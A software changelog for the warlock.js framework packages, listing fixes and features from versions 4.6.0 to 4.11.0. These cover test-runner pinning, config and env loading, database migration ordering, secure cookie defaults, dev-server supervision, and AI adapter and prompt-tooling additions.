  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-workspace Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-xai Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/fs Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/herald Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/logger Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/notifications Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/scheduler Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/seal Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
create-warlock Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
4.11.0
August 10, 2026

@warlock.js/core fixes four cases where the framework reported success it had not verified: a production bundle that imported a package your app never declared and so could not boot under pnpm, env() returning its default inside warlock.config.ts, warlock start printing its started banner before the app had booted, and a storage connector that could not start an app shipping no src/config/storage.ts. Also raises @mongez/dotenv to ^1.3.1.

@warlock.js/core Added 4 Changed 1 Fixed 5 Deprecated 1
  • Added startHttpTestServer({ port }) — run an integration suite on an explicit port, honoured over HTTP_PORT in .env, which the internal bootstrap re-reads and no caller could previously override
  • Added the test server preflights its port and fails with "stop the dev server" naming the port, instead of a raw EADDRINUSE from inside Fastify
  • Added Application.setServedPort() and a port field on the readiness signal, so a supervisor learns the bound http port from the app rather than re-deriving it from config it may not be able to read
  • Added setConfig(name, value) — the write side of the config store, exported separately from the read-only config accessor so registering configuration stays a deliberate boot-time act
  • Changed @mongez/dotenv is now required at ^1.3.1 (was ^1.2.4). Under the old range a fresh install resolved to 1.3.x while an existing lockfile could stay on 1.2.x, so we could not say which behaviour a given consumer actually had. 1.3.x only changes cases that were previously wrong: env() now consults process.env instead of returning a default for a key the environment defines, ${VAR} interpolation throws naming the key instead of baking the string "undefined" into a value, and numeric coercion no longer corrupts values like 0123456789 or IDs beyond 2^53. Precedence between .env files and injected variables is unchanged
  • Fixed A production bundle no longer imports a package your app does not declare. warlock build's generated config loader emitted import config from "@mongez/config" — one of *core's* dependencies, never the app's. npm and yarn hoist flat so it resolved by accident; under pnpm's strict layout the shipped bundle died at boot with ERR_MODULE_NOT_FOUND for a package the app had no reason to install. The generator now emits setConfig from @warlock.js/core, which the app does declare, and Node resolves @mongez/config from core's own install — correct under pnpm, and portable, unlike baking absolute paths into an artifact meant to be copied between machines
  • Fixed env() inside warlock.config.ts no longer always returns its default. The config module was evaluated *before* any .env file was read, so a project following the documented build: { outdir: env("BUILD_OUT", "dist") } recipe silently got dist no matter what the environment said — under every command, dev included, and under build and start env was never loaded at all. Env files are now loaded before warlock.config.ts is evaluated, for every command
  • Fixed An application without src/config/storage.ts can boot again. The storage connector starts unconditionally, on the documented grounds that storage.init() falls back to a built-in local driver so file storage works out of the box. That fallback was never implemented: init() resolved the default driver *name* and then found nothing registered under it, so any app without a storage config died at boot with Storage driver "local" is not configured. A built-in local driver rooted at uploadsPath() is now registered before configured drivers — so an app defining its own local still overrides it, and naming a driver that genuinely does not exist still fails loudly
  • Fixed startHttpTestServer no longer breaks a suite that configures http.port: 0. 0 is the OS's "pick a free port for me" idiom, but the guard only checked typeof port !== "number", so 0 fell through: the preflight bound an unrelated ephemeral port and passed without proving anything, and 0 was then published as the bound port, pointing every request in the suite at http://host:0. An explicit 0 now takes the same path as no configured port — no preflight, nothing published, Fastify picks the port
  • Fixed warlock start no longer claims success before the app has booted. The startup banner printed in preAction — before the child process was even spawned — and the failure that followed went only to stderr. Any CI gate or process supervisor that watches stdout for the banner read a 🔴 boot failure as a healthy start, which is how a production app that never booted was recorded as running. The banner now prints only when the application reports a completed boot, and a child that dies before reporting is a failed start: the message goes to both stdout and stderr, and the exit code is forced non-zero even when the process itself exited 0
  • Deprecated the env preloader flag on a CLI command is no longer read — env is loaded for every command that declares a preload block. Setting it is harmless and does nothing; remove it. Dropped at 5.0
4.10.0
August 9, 2026

@warlock.js/core makes response.cookie secure by default — httpOnly, sameSite: "lax", and secure outside development are applied unless you override them. Nothing set them before, so a cookie was readable by any injected script, sent in cleartext, and attached to cross-site requests unless the developer passed three flags on every call; nothing failed when they were missing. @warlock.js/auth documents two things that were previously only findable by reading source: that authMiddleware gates on flat user-type matching and points at @warlock.js/access for permission matrices and who-may-act-on-whom policies, and that auth is bearer-token by design, with cookie sessions and CSRF being app-level work.

@warlock.js/core Changed 1
  • Changed response.cookie is now secure by defaulthttpOnly: true, sameSite: "lax", and secure: true outside development are applied unless overridden. Previously nothing set them: a cookie was readable by any injected script, sent in cleartext, and attached to cross-site requests unless the developer knew to pass three flags on every call. Nothing failed when they were missing, so the app worked and was simply insecure. Precedence is framework defaults → http.cookies.options → the per-call argument, so opting out stays possible and explicit. secure is relaxed only in development, because browsers drop a Secure cookie over plain http
@warlock.js/auth Changed 1
  • Changed protect-routes documents two things that were previously only discoverable by reading source: that authMiddleware gates on user type by flat string match and cannot express a permission matrix, role hierarchy, or who-may-act-on-whom — with a worked pointer to @warlock.js/access (gate, can, definePolicy) for exactly that; and that auth is bearer-token by design, with cookie sessions and CSRF being app-level work rather than an omission
4.9.2
August 9, 2026

@warlock.js/cascade fixes migrate:rollback running down() migrations in *apply* order — the rollback list was reversed and then re-sorted ascending, putting it straight back, so any batch with more than one migration could drop a table before dropping the column added to it. @warlock.js/seal fixes v.literal(""), which could never pass because every validator is required by default and "" counts as empty — while .optional() looked like a workaround but silently disabled the literal check entirely; seal also stops returning the rejected input as data on a failed validation, closing a leak where an outbound DTO's internal fields reached callers who didn't branch on isValid, and fixes v.number().toFixed(n), which returned a string its own number rule then rejected. @warlock.js/core stops the generated dev-server loader hook shipping bare esbuild / get-tsconfig imports into your project, which broke warlock dev on pnpm's strict layout.

@warlock.js/cascade Fixed 2
  • Fixed migrate:rollback and migrate:rollback --all ran down() migrations in apply order instead of reverse. getMigrationsToRollback reversed the executed list and then re-sorted it ascending, which put it straight back into forward order and made the reverse dead code — so a rollback would drop a table before dropping the column added to it, failing with relation "…" does not exist. Any batch containing more than one migration was affected; single-migration batches hid it because one item has no order to get wrong
  • Fixed migration ordering now lives in migration-order.ts with an explicit sortMigrationsForRollback. The descending sort is required, not cosmetic: the executed list is read back ordered by batch, name, so it is alphabetical rather than chronological and simply *not* re-sorting after the reverse would have produced reverse-alphabetical order — a different wrong answer
@warlock.js/seal Fixed 4
  • Fixed v.literal("") could never pass. Every validator is required by default and required rejects anything the empty-value check calls empty — which includes "" — so a schema demanding an exact empty string reported "is required" for a field that was present. A literal set containing an empty value now uses present (the key must exist) instead of required, leaving the literal set to judge the value. Only the empty string was affected; v.literal(0) and v.literal(false) always worked
  • Fixed v.literal("").optional() silently disabled the literal check rather than fixing it, accepting "", null and a missing key alike. The literal rule now runs on empty values (requiresValue: false) while treating absence as the required/present rule's question, so .optional() means optional again and a present value must still match
  • Fixed a failed validation no longer returns the input it rejected. object returned the raw input — including the unknown keys it had just complained about — while discriminatedUnion returned undefined; the same call shape had two contracts. Validating an outbound DTO to keep internal fields out of a response, then reading data without branching on isValid, shipped every field the schema existed to exclude. data is now undefined whenever isValid is false
  • Fixed v.number().toFixed(n) could never produce a valid result — the mutator returned Number(value).toFixed(n), a *string*, which the validator's own number type rule then rejected. It now yields a number (3.141593.14), so the method works where it lives. No working code can have depended on the old output, since every such validation failed; for a fixed-point *string*, format at the presentation edge rather than asking a number schema to emit one
@warlock.js/core Fixed 1
  • Fixed the dev server's generated .warlock/loader-hook.mjs no longer ships bare esbuild / get-tsconfig imports. That file is written into the consuming app's directory, so a bare specifier resolves from the app — but both packages are core's own dependencies. npm and yarn hoist flat so it worked by accident; under pnpm's strict layout the dev server died with ERR_MODULE_NOT_FOUND for a package the app never imported. Each npm specifier is now rewritten at generation time to an absolute path resolved from core's own install, so no consumer has to declare a phantom dependency
4.9.1
August 6, 2026

@warlock.js/cascade fixes a silent data-loss bug in .save({ merge }): a Date written over a column that already held a Date was discarded — the dirty tracker treated any typeof "object" value as mergeable and recursed into the Date, which has no own enumerable properties, so nothing was copied and the column never went dirty. save() returned { success: true, modifiedCount: 0 } and issued no UPDATE. Only plain objects deep-merge now; Date, Map, Set and every other class instance replace.

@warlock.js/cascade Fixed 1
  • Fixed save({ merge }) silently dropped a Date written over a column that already held a Date — the dirty tracker's merge treated anything typeof "object" as mergeable and recursed into the Date, which has no own enumerable properties, so nothing was copied and the old value survived. The column never went dirty and save() returned { success: true, modifiedCount: 0 } without issuing an UPDATE. Only plain objects deep-merge now; Date, Map, Set, RegExp and every other class instance replace, matching what model.data already did. Writing into an empty column always worked, so only overwrites were affected
4.9.0
August 6, 2026

@warlock.js/core's dev server now runs supervised — a thin parent respawns the server instead of stacking a process per restart — and restarts itself when warlock.config.ts or .env changes, with keyboard shortcuts (r restart, c clear, q quit, h help, u update-and-restart), crash recovery, Bun lockfile support in update / add, new update --dry-run / --check flags, and an honest offline update check that no longer reports "already up to date" when npm was never reached. @warlock.js/cascade fixes migrations running in filename order instead of chronological order on a fresh database — the sort parsed timestamps with new Date(), which cannot read the framework's own MM-DD-YYYY_HH-MM-SS stamp, so every one collapsed to the alphabetical tiebreaker. The release also fixes build.outDirectory — the name the docs used for several releases while only build.outdir was ever read, so a config written from the documentation was silently ignored. @warlock.js/ai workflow run steps now correctly nest a directly-invoked agent (workflow → agent → tool) instead of producing two disconnected top-level traces, and @warlock.js/ai-openai now defaults reasoning_effort to "none" automatically whenever a reasoning-capable model is called with tools, closing the gap that left tool calls broken on gpt-5 / o-series models unless every call site opted in by hand.

@warlock.js/core Added 7 Changed 1 Fixed 6
  • Added warlock dev keyboard shortcuts — r restart, c clear, q quit, h help — armed once the server is ready and listed by h. TTY-gated, and Ctrl+C keeps working while raw mode is held
  • Added press u on the warlock dev update notice to update every @warlock.js/* dependency, install, and restart the server in place — no Ctrl+C round-trip. Falls back to the printed npx warlock update command when the terminal can't deliver keypresses (CI, piped stdin, supervisors)
  • Added warlock dev now runs as a supervised pair — a thin parent that owns the terminal and a disposable worker — so restarting replaces the worker instead of stacking a process per restart, and the supervisor never loads config or connectors
  • Added warlock dev restarts automatically when warlock.config.ts or any .env* changes, since neither can be hot-reloaded; opt out with devServer.restartOnConfigChange: false for the previous warning
  • Added Bun support in warlock update and warlock addbun.lock / bun.lockb are detected and drive bun install / bun add
  • Added warlock dev recovers from a crash: a worker that dies after running healthily for 5s is replaced automatically, while one that dies during boot is left alone so its error isn't buried under a reprint. Capped at 3 crashes per minute
  • Added warlock update --dry-run reports what would change without touching anything, and --check does the same but exits 1 when a package is behind — a CI gate for staying current
  • Changed the dev-server update check remembers npm's answer for 24h in .warlock/update-check.json, so a day of restarts costs one lookup instead of one per boot; failed lookups are never cached, and the entry is dropped once an update is applied
  • Fixed warlock start spawns process.execPath instead of a bare node, which failed with ENOENT wherever node is not on PATH (systemd units, cron, slim containers) and could otherwise pick a different Node version than the one running the CLI
  • Fixed warlock add no longer carries its own package-manager detection that silently produced an undefined install command when the project had no recognised lockfile — it shares the updater's detection
  • Fixed build.outDirectory — the name the docs have used for several releases — is now actually read. Only build.outdir ever was, so a config written from the documentation was silently ignored and the bundle still went to dist/. Both names now work (outdir wins if you set both) and the docs lead with outdir
  • Fixed warlock update no longer reports "All @warlock.js packages are already up to date" when it never reached the npm registry — an offline run now says so and changes nothing
  • Fixed a failed package-manager install during warlock update no longer loses the rewritten package.json; the CLI still exits non-zero
  • Fixed the dev server's update check now uses a 5s abort budget instead of 30s, so a hanging network can't leave a pending request behind a running server
@warlock.js/cascade Fixed 2
  • Fixed migrations ran in filename order instead of chronological order on any fresh database. SQLGrammar.sort — the comparator that decides execution order across every pending migration — parsed createdAt with new Date(), which cannot read the MM-DD-YYYY_HH-MM-SS stamp the framework's own generator produces; every timestamp became NaN, was floored to 0, and the alphabetical tiebreaker silently decided the whole ordering. A January 2026 migration would run before a December 2025 one
  • Fixed parseCreatedAt now lives in its own module and backs both migration comparators through a shared compareCreatedAt, so the two can no longer drift apart — one of them being wrong was the symptom, two comparators sorting the same data by different rules was the defect
@warlock.js/ai Added 1 Fixed 1
  • Added StepSnapshot.children — reports a workflow run step captured from any executable its callback invoked DIRECTLY (agent.execute(...) rather than the declarative agent: field), via the same ambient RunFrame a supervisor/team/orchestrator callback already gets. report.children now includes these alongside step.agent reports.
  • Fixed A workflow run step that calls agent.execute() directly no longer produces two disconnected top-level traces (one "agent", one "workflow") with the agent missing from report.children — it now nests correctly (workflow → agent → tool, usage/cost rolled up) and no longer also self-routes as a separate observed trace. Declarative step.agent was already correct; this closes the gap for ad-hoc calls inside run (self-documented in workflow/engine.ts as a known limitation).
@warlock.js/ai-openai Fixed 1
  • Fixed reasoning_effort now defaults to "none" automatically on a reasoning-capable model called WITH tools and no explicit reasoning.effort — previously this required every call site to opt in (added in 4.8.0), so any agent/model config that didn't know to pass it kept hitting rejected tool calls (empty replies, or a hard 400 on newer model generations — "Function tools with reasoning_effort are not supported ... in /v1/chat/completions"). An explicit reasoning.effort still overrides the default in either direction; calls with no tools are unaffected.
4.8.2
July 22, 2026

@warlock.js/ai-panoptic's dashboard gains an "Evaluate system prompt" drawer action — its first write-capable route — plus a round of dashboard reliability fixes (auth-token forwarding, a silent cache-store failure hook) and a @warlock.js/ai peer-dependency / redact() hardening pass.

@warlock.js/ai-panoptic Added 2 Fixed 2
  • Added DashboardOptions.evaluate — an "Evaluate system prompt" drawer action that grades a trace's last captured system prompt via an LLM judge, editable per-run instructions included; the dashboard's first and only write-capable route (POST .../spans/:spanId/evaluate), off unless configured and gated by the same authToken / allowedHosts checks as every other route
  • Added evaluateSystemPrompt / extractLastSystemPrompt / findSpanById — the building blocks behind the drawer action, exported for scripting a grade outside the UI
  • Fixed The dashboard's client-side poll (GET {basePath}api/aggregate / api/traces) now carries the page's ?token= as an Authorization: Bearer header on every request — previously, once authToken was configured the initial page load succeeded (the browser's navigation request carries the query string) but every subsequent 2s poll had no auth attached and 401'd forever, leaving the dashboard stuck on an empty/error state despite loading successfully
  • Fixed PanopticConfig.cache failures (hydrate-on-startup or write-through — bad URL, unreachable Redis, auth failure) are no longer swallowed into total silence: a new PanopticConfig.onError hook fires on every failure, defaulting to log.error("ai-panoptic", "cacheStore", error) when not supplied, so a misconfigured cache driver now surfaces in logs instead of leaving the dashboard permanently empty with zero diagnostic
@warlock.js/ai Added 1 Fixed 2
  • Added judgePromptBody / formatCriteria / JudgeOutcome — the LLM-as-judge building blocks ai.prompts().validate() already used internally are now public, so other packages (@warlock.js/ai-panoptic's trace-level system-prompt evaluation) can grade arbitrary prompt text against a model + rubric without a second judging implementation
  • Fixed redact() no longer collapses a raw Error (or an Error nested in a cause chain) to {}name / message / stack aren't own-enumerable on Error instances, so the previous Object.entries() walk saw none of them. This was silently dropping tool/agent error cause detail wherever redact() runs it, including @warlock.js/ai-panoptic's trace cause field (a failed tool's ToolExecutionError.cause showed as an empty object in the dashboard instead of the underlying thrown error)
  • Fixed @warlock.js/ai-openai and pdf-parse declared as optional peerDependencies — both are lazily import()ed (the skills-catalog embedder probe; ai.rag.loadPdf) but weren't listed in either dependencies or peerDependencies, so pkgist's bundler vendored their source directly into ai's own build instead of leaving them external (the same split-brain class of bug as core's missing @warlock.js/ai peerDependency, fixed in 4.8.1). For @warlock.js/ai-openai specifically this meant the skills-catalog embedder-installed probe always resolved against the vendored copy bundled into ai, so it reported an embedder provider as "installed" even when the app never installed @warlock.js/ai-openai itself
4.8.1
July 21, 2026

Fixes a split-brain bug where @warlock.js/core's bundler vendored its own disconnected copy of @warlock.js/ai (and the same gap for @warlock.js/access / @warlock.js/notifications) because they weren't declared as peer dependencies — the vendored copy's config never reached listeners (e.g. ai-panoptic's dashboard) registered against the real installed package. Also logs previously-swallowed onConfigApplied listener errors in @warlock.js/ai.

@warlock.js/core Fixed 1
  • Fixed @warlock.js/ai, @warlock.js/access, and @warlock.js/notifications declared as optional peerDependencies (matching the existing @warlock.js/herald pattern) so pkgist's bundler leaves them external instead of vendoring their source into core's own build — a vendored @warlock.js/ai copy was a disconnected module instance whose config listeners (e.g. ai-panoptic's dashboard wiring) never received ai.config(...) calls routed through the real, separately-installed package
@warlock.js/ai Fixed 1
  • Fixed setAIConfig's onConfigApplied listener notification no longer swallows a misbehaving listener's exception silently — it's now logged via log.error("ai", "configListener", error)
4.8.0
July 19, 2026

A new reasoning: { effort: "none" } level in @warlock.js/ai runs a reasoning model without reasoning, explicitly — @warlock.js/ai-openai emits reasoning_effort: "none" so OpenAI gpt-5 / o-series models accept function tools instead of returning empty replies, and the budget-based adapters (@warlock.js/ai-anthropic, @warlock.js/ai-google, @warlock.js/ai-ollama) map it to reasoning-off.

@warlock.js/ai-openai Added 1
  • Added reasoning: { effort: "none" } now emits reasoning_effort: "none" on the wire — unblocks function tools on gpt-5 / o-series reasoning models, which otherwise reject tools on Chat Completions while reasoning is active and return empty replies.
@warlock.js/ai Added 1
  • Added reasoning: { effort: "none" } — a neutral "run without reasoning, explicitly" level on ReasoningEffort; OpenAI emits reasoning_effort: "none" so gpt-5 / o-series accept function tools, and budget-based adapters (Anthropic / Bedrock / Google / Ollama) disable thinking.
@warlock.js/ai-anthropic Changed 1
  • Changed reasoning: { effort: "none" } disables extended thinking (emits no thinking block) — the neutral "run without reasoning" level, consistent across adapters.
@warlock.js/ai-google Changed 1
  • Changed reasoning: { effort: "none" } maps to thinkingBudget: 0 — Gemini's native reasoning-off switch, the neutral "run without reasoning" level.
@warlock.js/ai-ollama Changed 1
  • Changed reasoning: { effort: "none" } maps to think: false — the neutral "run without reasoning" level, consistent across adapters.
4.7.0
July 6, 2026

@warlock.js/ai gains the prompt compiler — systemPrompt().refined({ model, criteria, store }) lazily rewrites human-authored prompt text into a model-optimized version, pinned like a lockfile with machine-enforced placeholder parity and an always-safe fallback to the original — plus ai.prompts.validate({ criteria }) to grade a prompt against your own rules. @warlock.js/fs gains an ergonomic async fs facade — fs.files.* / fs.dirs.* grouping, lazy File / Directory handles, read-modify-write helpers (edit / editJson / mergeJson), recursive walk, and zero-dependency schema-validated JSON. @warlock.js/cascade lands a driver-correctness pass — a dozen real Postgres/MongoDB driver fixes (multi-row findAndUpdate, where-scoped update / unset / deleteOne, pivot detach, MongoDB with() eager-loading, per-subclass global scopes) plus new lockForUpdate({ skipLocked }) row locking (FOR UPDATE SKIP LOCKED).

@warlock.js/ai Added 2
  • Added systemPrompt().refined({ model, criteria, store }) — the prompt compiler. Humans keep writing human prompt text; the refined wrapper lazily rewrites it into a model-optimized version on first agent use and pins the result like a lockfile (re-compiled only when the source text, refiner model, criteria, or recipe version change — never silently). await refined.refine() returns the compiled template string (placeholders intact — routes / previews / warmup / CI; throws PromptRefinementError on failure) and await refined.refinePrompt() returns a composable prompt with meta.refinedFrom / meta.refinerModel provenance (register it to diff original vs refined). Placeholder parity is machine-enforced (one repair re-ask, then rejected); the lazy agent path never throws — it warns once and serves the original.
  • Added ai.prompts.validate({ criteria }) — validate a prompt against your own rules. Pass criteria (a string or a list of short rules) and, when a judge model is supplied, it replaces the built-in quality rubric so the judge's score / issues reflect your criteria (a failed rule is named in issues). Advisory only — never flips the deterministic ok; folded into the judgeCache key so different rules re-run.
@warlock.js/fs Added 7
  • Added fs shorthand facade — an async, ergonomic surface over the primitives: fs.files.* (file ops), fs.dirs.* (directory ops), lazy fs.file(path) / fs.dir(path) handles (File / Directory classes), and fs.exists(path) (type-agnostic). Delegates to the existing *Async primitives; synchronous callers keep using the bare primitives (the bare = sync / *Async = async charter is unchanged)
  • Added New file ops on the facade: append / prepend / appendLine / appendJsonLine (NDJSON), size, isEmpty, ensure (create-if-missing, never truncates), touch, edit (read → transform → write), editJson, mergeJson (shallow, or { deep: true }), ensureJson (get-or-create), checksumMatches, readLines (streaming async iterator), and an EXDEV-safe move (creates the destination parent, falls back to copy+unlink across devices)
  • Added New directory ops on the facade: empty (emptyDir), size (recursive byte sum), count, isEmpty, walk (constant-memory async iterator of { path, name, type }), a recursive option on list / listFiles / listDirs, and hash (stable directory fingerprint)
  • Added fs.files.getJson(path, { schema }) — validate parsed JSON against any Standard Schema validator (seal / zod / valibot) with zero dependency (calls the schema's own ~standard.validate); throws JsonSchemaValidationError on failure. { default } returns a fallback when the file is missing
  • Added File / Directory handles are lazy (no IO in the constructor) and immutable (copy / move / rename / copyTo / moveTo return a NEW handle); pure-path helpers name / basename / extension / parent() and child file(...) / dir(...); Directory.listFiles() / listDirs() return File[] / Directory[]
  • Added fs.hash namespace — fs.hash.string / fs.hash.buffer (sync, pure/in-memory) and fs.hash.file / fs.hash.dir (async, read from disk)
  • Added fs.files.get() is overloaded: a text read returns string (no cast); pass { encoding: null } for a Buffer
@warlock.js/cascade Added 2 Fixed 11
  • Added lockForUpdate({ skipLocked?, noWait? }) — row locking on SELECT (FOR UPDATE [SKIP LOCKED | NOWAIT]), the concurrent job-queue claim shape; Postgres-only, the MongoDB driver throws
  • Added DatabaseDriverContract.supportsSqlSerialization — capability flag (default true); false routes the MigrationRunner through direct migration-driver execution
  • Fixed Postgres model-level sum/avg/min/max/distinct/countDistinct/pluck/value no longer return 0/undefined — the hydration callback is reset before reading, matching MongoDB
  • Fixed Postgres Model.findAndUpdate / Model.atomic now update every matching row instead of one arbitrary row (a hidden LIMIT 1; MongoDB was already multi-row)
  • Fixed Postgres query-builder update() / unset() now honor the chained where filter — previously they updated the whole table
  • Fixed Postgres query-builder deleteOne() deletes exactly one row — the internal limit(1) was silently ignored, deleting every matching row
  • Fixed Postgres pivot detach(ids) (and sync / toggle) works — the driver translates Mongo-style filter operators ($in, $nin, $eq, $ne, $gt, $gte, $lt, $lte) instead of binding the operator object literally
  • Fixed CHECK constraints are no longer silently dropped on the MigrationRunner SQL path — the Postgres serializer emits ADD CONSTRAINT ... CHECK for this.check(...) and column .check(...)
  • Fixed MongoDB with() eager loading is no longer a silent no-op — get() runs the relation loader, same wiring as Postgres
  • Fixed MongoDB pipelines order $match before $project (SQL semantics), so select() before where() no longer strips the filter column and returns [] — fixes pivot attach de-duplication and sync / toggle deltas
  • Fixed The MigrationRunner works on MongoDB — migrations execute directly through the migration driver; exportSQL stays SQL-only with a clear unsupported error
  • Fixed MongoDB dropIndex(table, name) honors the literal index name — the string form is no longer rewritten to <name>_1 (the columns-array form keeps the convention name)
  • Fixed addGlobalScope / addLocalScope register per-subclass — a scope added on one model (e.g. a soft-delete notDeleted) no longer leaks onto every other model
create-warlock Added 2 Changed 1
  • Added Non-interactive scaffolding — create-warlock <name> --yes (with --db, --pm, --features, --ai, --git, --jwt) scaffolds the entire app in a single command, no prompts
  • Added --db=none / --no-db and a None option in the database prompt — scaffold with no database: the driver, its package, and src/config/database.ts are all skipped
  • Changed Starter models drop the baked-in globalColumnsSchema audit columns (createdBy / updatedBy / deletedBy / isActive) — global columns are left to the developer
4.6.1
July 1, 2026

A production-hardening patch across @warlock.js/core, @warlock.js/logger, and @warlock.js/cascade — a fatal boot error now fails loudly instead of exiting 0, native Postgres array columns (TEXT[] / JSONB[]) work with no configuration, and a nested transaction() joins the active transaction instead of opening an isolated one that can't see its writes.

@warlock.js/cascade Fixed 2
  • Fixed Native Postgres array columns (TEXT[] / JSONB[], from arrayText() / arrayJson()) are now auto-detected by introspecting the schema on connect and bound as raw arrays — no more "malformed array literal" on insert and no need to hand-list nativeArrayColumns (which stays as an optional per-connection override, now consulted per-table)
  • Fixed transaction() now flat-nests: a nested transaction() joins the active one (same session, sees its uncommitted writes) instead of opening a second, independent transaction — fixes phantom foreign-key violations when a service that opens its own transaction is called inside an outer one (e.g. a seeder creating a row, then a service inserting a child that references it). MongoDB joins too, replacing its "nested not supported" throw
@warlock.js/core Fixed 1
  • Fixed a fatal uncaughtException at production boot (e.g. a config file that throws) is no longer swallowed into a silent exit 0 — bootstrap now wires the crash handler to exit non-zero in production so warlock start surfaces the failure; the dev server still logs-and-continues for HMR
@warlock.js/logger Changed 1
  • Changed captureAnyUnhandledRejection() now exits the process non-zero after an uncaughtException (and prints the stack to console.error when no terminal channel is configured) so a fatal error at boot is never silently swallowed into a clean exit 0 — opt out with { exitOnUncaughtException: false } where the process recovers on its own (e.g. a dev server using HMR). unhandledRejection is unchanged (logged at error, never exits).
4.6.0
July 1, 2026

The AI framework closes every remaining capability gap. Output modalities land — ai.image(), ai.speech(), and ai.transcribe(), plus the new @warlock.js/ai-live package for ai.realtime() duplex voice + ai.video(). RAG gains first-party vector stores and document loaders (ai.rag.pgVectorStore on Postgres/pgvector, ai.rag.loadWeb / loadPdf / loadHtml / loadText). Durable mid-run crash-resume comes to agents and planners (agent.resume() / planner.resume() via an opt-in durable store). And provider breadth doubles with four new OpenAI-compatible adapters — @warlock.js/ai-mistral, ai-groq, ai-deepseek, and ai-xai.

@warlock.js/ai Added 9
  • Added ai.image(params) — image generation, the first verb of the output-modality track (Theme I). Wraps an ImageModelContract in the uniform never-throws { data, error, usage, report } envelope, with cost-truth (per-token for gpt-image, per-image for DALL·E / Imagen) folded into the same Usage.cost rollup and a type: "image" report routed to observers. Ships on the OpenAI + Google adapters.
  • Added SDKAdapterContract.image?(config) — the image-model capability seam, mirroring embedder?(). Adds ImageModelContract, GeneratedImage (discriminated base64 | url), ImageModelPricing, and ImageGenerationOptions.
  • Added MockSDK().image(...) + MockImageModel — deterministic image doubles (scriptable responses, recorded calls, pricing) for tests.
  • Added ai.speech(params) + ai.transcribe(params) — text-to-speech and speech-to-text, the audio verbs of the modality track. Same uniform never-throws envelope + cost-truth (per-character / per-minute / per-token). New SpeechModelContract / TranscriptionModelContract on SDKAdapterContract.speech?() / transcribe?(), plus MockSpeechModel / MockTranscriptionModel.
  • Added ai.audioFromFile(path) / ai.audioFromBuffer(bytes, mediaType) / ai.audioMediaTypeForFilename(name) — non-AI utilities that package audio (WhatsApp .ogg/.opus, iOS .m4a, …) into the AudioInput shape ai.transcribe consumes.
  • Added ai.rag.pgVectorStore({ client }) — a Postgres + pgvector vector store satisfying VectorStoreContract (upsert / query / removeNamespace), with an ensureSchema() DDL helper and a lazy pg optional peer.
  • Added ai.rag.loadText / loadHtml / loadWeb / loadPdf — document loaders producing RagDocuments for .index(). loadWeb is SSRF-safe (routes through guardedFetch / OutboundPolicy); loadPdf uses a lazy pdf-parse optional peer.
  • Added Durable mid-run crash-resume — opt-in durable: { store, deleteOnComplete? } on ai.agent / ai.planner with a stable runId + agent.resume(runId) / planner.resume(runId). Per-trip (agent) / per-node (planner) checkpoints reuse ai.snapshot.{memory,pg,redis}; drift detection via AgentDriftError / PlannerDriftError (bypass with { force: true }); completed work never re-runs its tools and usage is never double-counted.
  • Added **ai.rag.* namespace** now also carries chunk, cacheVectorStore, pgVectorStore, loadText/loadHtml/loadWeb/loadPdf, bm25Rank, reciprocalRankFusion, hybridRank, multiQuery (previously standalone-only exports), for ai.*-namespace consistency.
@warlock.js/ai-live Added 5
  • Added First release — the live & generative rich-media add-on for @warlock.js/ai, kept in its own package so core text/image/speech stay dependency-light. A side-effect import (import "@warlock.js/ai-live") mounts ai.video + ai.realtime onto the shared Ai facade.
  • Added ai.video(params) — text-to-video (Sora / Veo / Kling-class); the provider's async submit→poll job hidden behind the uniform never-throws { data, error, usage, report } envelope, with per-second cost-truth folded into Usage.cost and a type: "video" report routed to observers.
  • Added ai.realtime(options) — a stateful duplex voice session over a pluggable RealtimeTransport: sendAudio / sendText / events() out, close()RealtimeReport for the cost/observability surfaces.
